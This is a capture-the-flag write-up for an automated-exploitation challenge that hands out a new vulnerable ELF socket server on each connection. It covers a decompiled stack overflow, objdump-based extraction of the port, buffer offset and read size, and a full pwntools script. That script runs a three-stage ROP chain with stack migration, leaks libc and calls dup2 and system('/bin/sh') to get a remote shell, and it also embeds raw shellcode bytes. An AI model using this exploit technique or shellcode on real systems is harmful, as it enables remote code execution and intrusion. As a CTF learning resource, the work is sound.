Category: Exploitable
Points: 350
I hear bots are playing ctfs now.
nc 52.20.10.244 8888
Once we connect to the service, it will send us a 64 bit ELF binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax@1
__int16 s; // [sp+0h] [bp-80h]@1
uint16_t v6; // [sp+2h] [bp-7Eh]@1
int v7; // [sp+4h] [bp-7Ch]@1
char buf; // [sp+10h] [bp-70h]@1
int v9; // [sp+78h] [bp-8h]@1
int fd; // [sp+7Ch] [bp-4h]@1
fd = socket(2, 1, 0);
memset(&s, 0, 0x10uLL);
s = 2;
v7 = htons(0);
v6 = htons(0xF5A6u); // port number
bind(fd, (const struct sockaddr *)&s, 0x10u);
listen(fd, 10);
v9 = accept(fd, 0LL, 0LL);
read(v9, &buf, 0x1E0uLL); // BOF vulnerability
v3 = strlen(&buf);
return write(v9, &buf, v3 + 1);
}
We can see that this binary was another socket server program, which has a simple stack overflow vulnerability in it. But after I reversed the binary, got the port number and connected to the service, it gave me nothing.
At first I thought this was such a crap, but then I found out that each time I connected to the original service, it’ll gave me a different binary. It’s still a socket server program, which wait for our connection, read the input and output our input, but it has a different port number, different buffer location & different reading size.
After having some discussion with my teammates, we figure out that maybe the challenge want us to exploit the service like a bot, which means that we’ll have to figure out the port number, buffer size and try to exploit the service – all done fully automatically.
So the first thing we’ll have to do is to retrieve some informations in the binary, such as port number, buffer’s location and reading size. By using objdump, we can analyze the assembly and retrieve those informations:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.................
4007c8: bf a6 f5 00 00 mov $0xf5a6,%edi <-- port number = 0xf5a6
4007cd: e8 2e fe ff ff callq 400600 <htons@plt>
...................
40082d: 48 8d 45 90 lea -0x70(%rbp),%rax <-- buffer's location (offset from rbp)
400831: 48 89 c7 mov %rax,%rdi
400834: e8 b7 fd ff ff callq 4005f0 <strlen@plt>
....................
400816: 8b 45 f8 mov -0x8(%rbp),%eax
400819: ba e0 01 00 00 mov $0x1e0,%edx <-- reading size
40081e: 48 89 ce mov %rcx,%rsi
400821: 89 c7 mov %eax,%edi
400823: b8 00 00 00 00 mov $0x0,%eax
400828: e8 f3 fd ff ff callq 400620 <read@plt>
Now we figure out the port number, we can connect to the service immediately after we get the binary. This time, it actually wait for me to input a string and send it back to me.
So we’re on the right track, time to exploit the service. Notice that sometimes the binary’s not exploitable, because its reading size might be smaller than the buffer’s offset from the rbp
. Anyway, once we know that the service is exploitable, we can send our payload and try to do the ROP attack ( the binary has enable the DEP protection ).
But before that, there’re few things we need to beware of:
- It’s a socket server, so if we want to spawn a shell and execute our own command, we’ll have to use
dup2()
to copystdin
&stdout
to our socket fd. - Our socket fd is 6, we can leak it with the help of the
write
function - The socket fd is also on stack, so while overwriting the return address, the socket fd should remain the same.
Consider that the reading size might not be big enough to read the whole ROP chain, I decide to use the stack migration trick:
- After overwriting the return address in main function, the first thing we do is to read the 2nd ROP chain to a data segment (buffer1) , and change the stack to buffer1 ( by using the
pop rbp; ret
andleave; ret
gadget ) - The 2nd ROP chain is to leak the address in libc, read the 3rd ROP chain to buffer2, and change the stack to buffer2
- Finally the 3rd ROP chain will do
dup2(6, 0)
,dup2(6, 1)
andsystem("/bin/sh")
We can use ROPgadget to find some useful gadgets, such as pop rdi; ret
and pop rsi; pop r15; ret
for setting the function parameters. Notice that although we can’t find a gadget to control rdx
(storing the 3rd function parameter), but since only read
and write
function need the third parameter, we can leverage the fact that the program has already set the rdx
for us in the main function (for writing our output).
So to sum it up:
- Use objdump to get the port number, buffer location and reading size
- Use ROPgadget to find some useful gadgets (for setting parameters & stack migration)
- Overwrite the return address, notice that the socket fd should not be modified
- First ROP chain: read the 2nd ROP chain to buffer1 and change the stack
- Second ROP chain: leak libc’s base address, read the 3rd ROP chain to buffer2 and change the stack
- Third ROP chain: do
dup2(6, 0)
,dup2(6, 1)
andsystem("/bin/sh")
For finding the libc version, here’s an useful tool: libc database
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "52.20.10.244"
PORT = 8888
ELF_PATH = ""
LIBC_PATH = ""
# setting
context.arch = 'amd64'
#context.arch = 'i386'
#context.arch = 'arm'
#context.arch = 'aarch64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)
#libc = ELF(LIBC_PATH)
def my_recvuntil(s, delim):
res = ""
while delim not in res:
c = s.recv(1)
res += c
sys.stdout.write(c)
sys.stdout.flush()
return res
def myexec(cmd):
return subprocess.check_output(cmd, shell=True)
def sc(arch=context.arch):
if arch == "i386":
# shellcraft.i386.linux.sh(), null free, 22 bytes
return "\x6a\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"
elif arch == "amd64":
# shellcraft.amd64.linux.sh(), null free, 24 bytes
return "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x31\xf6\x6a\x3b\x58\x99\x0f\x05"
elif arch == "arm":
# null free, 27 bytes
return "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x09\x30\x49\x40\x52\x40\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"
elif arch == "aarch64":
# 4 null bytes, total 35 bytes
return "\x06\x00\x00\x14\xe0\x03\x1e\xaa\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x21\x00\x00\xd4\xfb\xff\xff\x97\x2f\x62\x69\x6e\x2f\x73\x68"
else:
return None
def str_addr(s, f): # search string address in file
result = list(f.search(s+"\x00"))
if not len(result): # no result
return None
else:
return result[0]
if __name__ == "__main__":
while True:
myexec("nc 52.20.10.244 8888 > asdf") # download binary
resp = myexec("objdump -d ./asdf | grep \"htons\" -B 1") # get port number
resp = resp.split("--\n")[2]
port = resp[resp.index("0x"):resp.index(","):]
port = int(port, 16)
resp = myexec("objdump -d ./asdf | grep \"strlen\" -B 2") # get buffer offset
resp = resp.split("lea -")[1]
offset = int(resp[:resp.index("(%rbp"):], 16)
resp = myexec("objdump -d ./asdf | grep \"read\" -B 4") # read size
resp = resp.split("mov")[1]
resp = resp[resp.index("0x"):resp.index(","):]
read = int(resp, 16)
print "==================="
log.success("port: "+str(port))
log.success("offset: "+hex(offset))
log.success("read: "+hex(read))
if read < 0x80 or read < offset or offset-8 < 0x78: # exploitable or not
continue
r = remote(HOST, port)
elf = ELF("./asdf")
# use ROPgadget to find some useful address
pop_rdi = int(myexec("ROPgadget --binary ./asdf | grep \"pop rdi\"").split(" ")[0], 16)
pop_rsi_r15 = int(myexec("ROPgadget --binary ./asdf | grep \"pop rsi \"").split(" ")[0], 16)
leave = int(myexec("ROPgadget --binary ./asdf | grep \"leave\"").split(" ")[0], 16)
pop_rbp = int(myexec("ROPgadget --binary ./asdf | grep \": pop rbp ; ret$\"").split(" ")[0], 16)
log.success("pop_rdi: "+hex(pop_rdi))
log.success("pop_rsi_r15: "+hex(pop_rsi_r15))
log.success("leave: "+hex(leave))
log.success("pop_rbp: "+hex(pop_rbp))
buf1 = 0x00602000 - 0x200
buf2 = 0x00602000 - 0x300
payload = "A"*(offset-8)
payload += p32(6) # socket fd
payload += p32(3)
payload += "B"*8 # rbp
payload += p64(pop_rdi) # return address
payload += p64(6)
payload += p64(pop_rsi_r15)
payload += p64(buf1) # read the 2nd ROP chain to buffer1
payload += p64(0)
payload += p64(elf.symbols['read']) # read(6, buffer1, len)
payload += p64(pop_rbp) # stack migration
payload += p64(buf1-8)
payload += p64(leave)
r.send(payload)
r.recvrepeat(0.5)
payload = p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi_r15)
payload += p64(elf.got['write']) # leak write's GOT
payload += p64(0)
payload += p64(elf.symbols['write']) # write(6, write@got.plt, len)
payload += p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi_r15)
payload += p64(buf2) # read the 3rd ROP chain to buffer2
payload += p64(0)
payload += p64(elf.symbols['read']) # read(6, buffer2, len)
payload += p64(pop_rbp) # stack migration
payload += p64(buf2-8)
payload += p64(leave)
r.send(payload)
write_addr = (u64(r.recv(6).ljust(8, "\x00")))
log.success("write_addr: "+hex(write_addr))
# thanks to libc database
# offset_system = 0x0000000000046640
# offset_dup2 = 0x00000000000ebfe0
# offset_read = 0x00000000000eb800
# offset_write = 0x00000000000eb860
# offset_str_bin_sh = 0x17ccdb
libc_base = write_addr - 0xeb860
system_addr = libc_base + 0x46640
dup2_addr = libc_base + 0xebfe0
sh_addr = libc_base + 0x17ccdb
log.success("libc_base: "+hex(libc_base))
log.success("system_addr: "+hex(system_addr))
log.success("dup2_addr: "+hex(dup2_addr))
log.success("sh_addr: "+hex(sh_addr))
payload = p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(dup2_addr) # dup2(6, 0)
payload += p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi_r15)
payload += p64(1)
payload += p64(0)
payload += p64(dup2_addr) # dup2(6, 1)
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr) #system("/bin/sh")
r.send(payload)
r.interactive()
And finally we get the flag: flag{c4nt_w4it_f0r_cgc_7h15_y34r}
CGC huh, well…I’m not sure about that :/ but anyway this is a pretty good challenge :)
Comments powered by Disqus.